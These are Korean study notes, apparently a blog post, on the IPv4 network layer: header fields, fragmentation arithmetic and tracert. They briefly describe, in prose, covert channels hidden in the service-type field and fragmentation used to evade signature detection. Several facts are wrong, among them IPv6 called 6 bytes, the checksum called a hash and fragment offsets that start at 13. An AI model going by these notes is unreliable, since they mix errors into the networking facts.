192.168.1.40의 MAC주소는 74:5d:22:9b:14:a2  이야 ! 


3계층 네트워크 계층의 기능

 

서비스의 종류

  • 연결형: 종이컵 2개에 실을 연결해서 대화를 하듯 연결을 하는 것
  • 비연결형 서비스: 데이터나 경로가 미리 정해져있지않음 (데이터가 가는데 주소만 간다) - 주소만 가지고 가까운 길로 간다.

(비연결형 서비스)

  • 패킷(데이터와 헤더가 합쳐짐)이 IP주소(네트워크계층이니까) 를 가지고 서로 다른 경로로 전송되므로 도착 순서가 일정하지 않는다. -> 그래서 상위 계층(4 전송계층)에서 순서를 재조정해야한다.

IP계층의 핵심목적은 정보가 깨지는 걸 신경쓰는게 아니라 빨리 보내는 것.

  • 그렇기에, 패킷 분실 가능성이 있다
  • 패킷의 100% 도착을 보장하지 않는다.
  • 상위 계층에서 패킷 분실 오류를 복구해야한다.

IP 프로토콜

 

IP 프로토콜은 비연결형이다 = 품질을 보장하지않는다 (쿠팡맨은 보내면 끝이고 상위계층 쿠팡에서 물건을 보상해줌)

TCP 는 연결형 프로토콜

 

패킷을 분할/병합하는 기능을 수행한다.

IP 헤더는 32비트이다 = 32비트 = 4 바이트

0 ~ 31

 

5층으로 나누어져 있어서 4+4+4+4+4 = 총 20바이트임

맨 밑에 계층은 요즘엔 쓰지 않아 빼고 계산

 

반 바이트 = 버전 넘버

Ipv4 = 4byte

Ipv6 = 6byte

 

읽는방법 : 각 층이 끝나면 왼쪽 으로 돌아감

version number : 우리는 ipv4를 사용함 = 4byte

header length = 3계층의 해더크기는 20바이트 이다 //  1 = 4byte // 20 byte = 5

MAC source address | MAC destination address | type(length) | 패킷 (version number 4 + header length 5)

 

모든 패킷의 시작점은 45 로 시작한다.

45가 아닌 숫자가 나오면 비정상으로 잡아내야한다.

 


 

  • service type : 세팅값에 따라 어떤건 빠르고 어떤건 늦게 간다 (하지만 지금은 의미가 없어져서 사용하지 않는다) = 0 → 만약 숫자가 0이 아니고 1이라는 숫자가 하나라도 나오면 잡아내야함

Covert Channel Hacking 은밀한 채널 해킹: 모든 OS는 service type 이 안쓴다는 걸 알기 떄문에 해석을 하지 않음, 해석하면 속도가 느려지니까 → 해커들이 좀비pc 에 명령을 때려서 시그니처를 하는데, 데이터에 attack 명령어를 쓰는게 아니고 service type 에서 명령을 때린다. 왜냐? 아무도 사용하지 않기 때문에 걸리지 않는다.

 

  • packet length(fragment offset) : 패킷의 최대 사이즈 1500 // 8바이트 단위로 계산한다.
  • Time to live : 패킷이 살아남기 위한 시간 // 예를들어 100으로 설정되어 있으면 라우터를 지날떄마다 하나씩 깐다 0이되면 소멸한다. - 쓰레기 패킷을 없애기 위함 (전송은 안되고 라우터끼리 핑퐁을 하는 등 ..)
  • transport : TCP 를 보낼지 IP를 보낼지 적어놓고 받는쪽에 배려를 한다는 의미. 윗계층 누구한테 줘야하는지를 적어놓음
  • header checksum: hash값으로 혹시나 의심스러울때 비교를 했는데 같으면 무결성 o 같지 않으면 무결성에서 어긋나서 잡아내야함 // UDP 17 TCP 6

*UDP 17과 TCP 6은 각각 UDP와 TCP 프로토콜을 식별하는 프로토콜 번호입니다. 이 번호들은 IP 헤더에서 해당 프로토콜을 구분하는 데 사용됩니다.

 

scanner : 내가 상대방을 공격하기 전에 상대방의 정보를 꺼내 오는 것 ( Nmap )

 

 

 

  • 1기가를 전송하기 위한 패킷이 몇개가 팔요한가 ?

1기가 / 1500byte (패킷의 최대 사이즈)

하지만 헤더 20을 빼면 1480 만 한번에 전송될 수 있다 =

한번에 1기가를 받지 않고 1500byte씩 나눠서 받는 이유는 중간에 전송중 에러가 나면 1500만 다시 보내면 되지만 1기가로 보낼경우 1기가를 처음부터 다시 보내야한다. 

 

  • identification: 어디 데이터에서 왔는지 식별을 한다. A B C를 한번에 다운받는다고 가정을하면. A에서 쪼개고 B에서 쪼개서 전송되고하면 섞인다. 이것을 식별하고 모으기 위한 장치
  • DF (Dont Fragment): 분할하지 마라 / 있는 그대로 전송하면되고 분할하지 마라 (쪼개서오면 잡아내면된다)

 

fragmentation attack : 분할하지않아야 하는 것을 분할해서 하는 공격.

(패턴 = rule = signiture = 침해사고 = 악성코드// 모두 같은 말)

정보보호 기술은 패턴매칭 밖에 없다

V3 백신이 하는게 헤더와 데이터에 어택이 있으면, 어택 공격을 잡아내는 것 안잡히게 하려면 fragmentation을 해서 쪼개지 않아야 할 것을 강제로 쪼갬 → 보안장비를 속여 식별이 안됌 → 끝에 가면 헤더를 때고 합치기 떄문에 공격이 된다.

 

  • MF (More Fragment?) : 전송된 데이터가 완전히 다 들어왔는지 확인하는 장치 (내 뒤에 조각이 더 있나요? 하고 물어봄- 조각이 더 있으면 1 이라고 답함 그리고 마지막에 more fragment의 응답은 0으로 끝난다. - 반드시 마지막은 0으로 끝나야한다.)

—---------------------- 문제 -----------------------

IP 프롤토콜

**분할의 예

  • IP 헤더를 제외한 전송 데이터의 크기가 380 바이트
  • 패킷의 최대 크기가 128 바이트 일경우**
  1. Identification : 우리가 설정하는 값
  2. Packet length: 패킷의 최대크기 128바이트 에서 헤더 20을 떼고 봤을때 108바이트. Fragement Offset을 구하기 위해서는 8바이트로 나눠서 정수로 떨어져야 한다. 그래서 104 로 데이터 크기를 임의로 줄여 8바이트로 나눴을때 정수로 결과가 나오게 한다. (기존 108→104로 줄이면서 남은 값들은 모아서 맨뒤에서 처리할 예정)

104 + 헤더20 = 124 가 하나의 packet legnth(패킷 길이는 헤더값을 포함함) 값이 되는 것

최종적으로 124 / 124 / 124 / 88 이 나오는데 헤더크기 20을 각각 떼고 총 합을 더하면 데이터의 크기 380바이트로 데이터 전부 정상 전송하게 된다.

MF (more fragment) : 너 뒤에 더 있니? 있으면 1 마지막은 무조건 0 이되어야 한다.

Fragment Offset: 8바이트로 나눠져야함/ 패킷의 최대 크기 128바이트에서 헤더 20 떼고 108바이트에서 8로 나눴을때 정수로 떨어지게 하기 위해 104바이트로 줄임 → 이값을 8바이트 단위로 나누면 104/8 = 13

오프셋은 중첩이 되어 표에 작성된다. 13 / 26 / 39 … 데이터의 크기 380바이트가 모두 전송될때까지 늘어남

결과표

 

----------------------------

 

 

tracert www.google.com

tracert는 Windows에서 네트워크 경로를 추적하는 데 사용되는 명령어로, 특정 도메인이나 IP 주소까지의 경로를 보여줍니다.

300x250

+ Recent posts